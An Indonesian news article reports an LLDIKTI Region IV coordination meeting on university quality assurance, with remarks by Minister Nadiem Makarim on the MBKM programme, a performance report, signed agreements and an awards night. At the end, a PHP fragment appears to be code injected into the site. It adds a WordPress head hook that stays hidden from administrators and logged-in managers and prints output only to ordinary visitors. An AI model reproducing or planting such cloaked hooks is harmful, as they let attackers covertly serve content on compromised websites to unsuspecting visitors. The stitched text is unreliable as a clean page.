    Rapat koordinasi ini bertujuan untuk mendorong perguruan tinggi di lingkungan LLDIKTI Wilayah IV agar secara konsisten dapat terus merancang dan meningkatkan mutunya sesuai dengan Permendikbudristek Nomor 53 Tahun 2023 tentang Penjaminan Mutu Pendidikan Tinggi. Selain itu, diharapkan agar seluruh perguruan tinggi dan badan penyelenggara pada LLDIKTI Wilayah IV untuk bersinergi dalam meningkatkan kompetensi lulusan yang kreatif dan inovatif melalui Gerakan Merdeka Belajar Kampus Merdeka.
    Acara secara resmi dibuka oleh Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi (Mendikbudristek), Nadiem Anwar Makarim. Dalam sambutannya, Nadiem menyampaikan bahwa gerakan Merdeka Belajar Kampus Merdeka (MBKM) ini adalah suatu perubahan historis. Melalui gerakan MBKM, Indonesia adalah negara pertama yang membebaskan mahasiswa selama dua semester untuk bisa belajar di luar kampus dan tiga semester untuk bisa belajar di luar program studi yang dipilih.
    “Ini adalah suatu lompatan yang mungkin negara-negara maju sudah mulai merencanakan, tetapi kita sebagai warga negara Indonesia sudah lebih dulu mengimplementasikannya,” ujar Nadiem di Jakarta, Senin (19/2).
    Nadiem menambahkan, “Harus kita akui meskipun pada perjalanannya ada berbagai macam permasalahan yang kita hadapi, tetapi kita harus tetap maju demi mewujudkan Indonesia Emas 2045.”
    Saat ini, hampir 1 juta mahasiswa melaksanakan magang ke luar negeri di perusahaan-perusahaan multinasional ataupun perusahaan domestik. Banyak pula mahasiswa yang melakukan studi di luar kampus selama satu semester untuk memilih program studi diluar yang dia pelajari sehari-hari. Tak hanya itu, sejumlah mahasiswa turun langsung untuk mengajar di SD dan SMP di daerah 3T. Hal tersebut merupakan gerakan dan transformasi besar dalam dunia pendidikan.
    Nadiem juga memberikan apresiasi kepada 35 Kampus di bawah LLDIKTI Wilayah IV, yang pada akhir tahun lalu menginisiasi kerja sama dengan berbagai macam mitra industri untuk mendorong lahirnya wirausahawan di bidang pengelolaan sampah, juga di berbagai sektor lainnya. Ini adalah bukti nyata kemandirian dan komitmen perguruan tinggi dalam melahirkan lulusan yang siap berkontribusi bagi masyarakat luas.
    Pada kesempatan tersebut, Kepala LLDIKTI Wilayah IV, M. Samsuri memaparkan laporan dan capaian kinerja LLDIKTI Wilayah IV Tahun 2023. Samsuri menyampaikan bahwa stimulus dari pemerintah terus berjalan karena lebih dari 10.000 dosen dan lebih dari 200 Guru Besar telah mendapatkan tunjangan sertifikasi dosen dan tunjangan kehormatan Guru Besar dengan total anggaran yang bergulir melalui LLDIKTI Wilayah IV sebanyak 439 miliar.
    “Dinamika terus terjadi, tetapi berbagai aduan permasalahan kita selesaikan dengan sebaik-baiknya. Semangat kita hari ini bersatu dengan satu tujuan yaitu ‘Berpacu dalam Mutu, Bersinergi untuk Membangun Negeri.’ Kita semua harus berkolaborasi dan bersinergi sambil tetap berpacu untuk membangun mutu untuk masyarakat. Masyarakat harus mendapatkan layanan pendidikan yang berkualitas,” ujar Samsuri.
    Pada kegiatan ini dilakukan penandatangan Komitmen Kinerja Perguruan Tinggi Swasta Tahun 2024 secara serentak oleh seluruh perguruan tinggi di lingkungan LLDIKTI Wilayah IV. Selain itu dilaksanakan pula penandatangan Nota Kesepakatan antara LLDIKTI Wilayah IV dengan Mitra Dunia Usaha dan Industri, di antaranya LSP MSDM Unggul Indonesia, PT. Quantum Indonesia, PT. Markplus Institut, serta mitra pemerintah seperti Kepolisan Daerah Jawa Barat, Pemerintah Kota Sukabumi, dan Pemerintah Kabupaten Sukabumi.
    Kegiatan ditutup secara meriah dengan Malam Pemberian Anugerah LLDIKTI Wilayah IV Tahun 2024. Pemberian anugerah penghargaan ini merupakan wujud apresiasi kepada perguruan tinggi di lingkungan LLDIKTI Wilayah IV yang telah mencapai dan memenuhi standar kriteria melebihi yang telah di tetapkan serta sebagai wujud ucapan terimakasih dan penghargaan kepada para mitra kerjasama LLDIKTI Wilayah IV.
    Rapat koordinasi ini dihadiri 16 Kepala LLDIKTI di seluruh wilayah Indonesia, 437 Perguruan Tinggi Swasta, 13 Perguruan Tinggi Negeri, 3 Perguruan Tinggi Luar Negeri, 390 Badan Penyelenggara Perguruan Tinggi Swasta yang berada di Wilayah Jawa Barat dan Banten, mitra Dunia usaha dan Industri (DUDI), serta mitra Pemerintah Daerah.
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);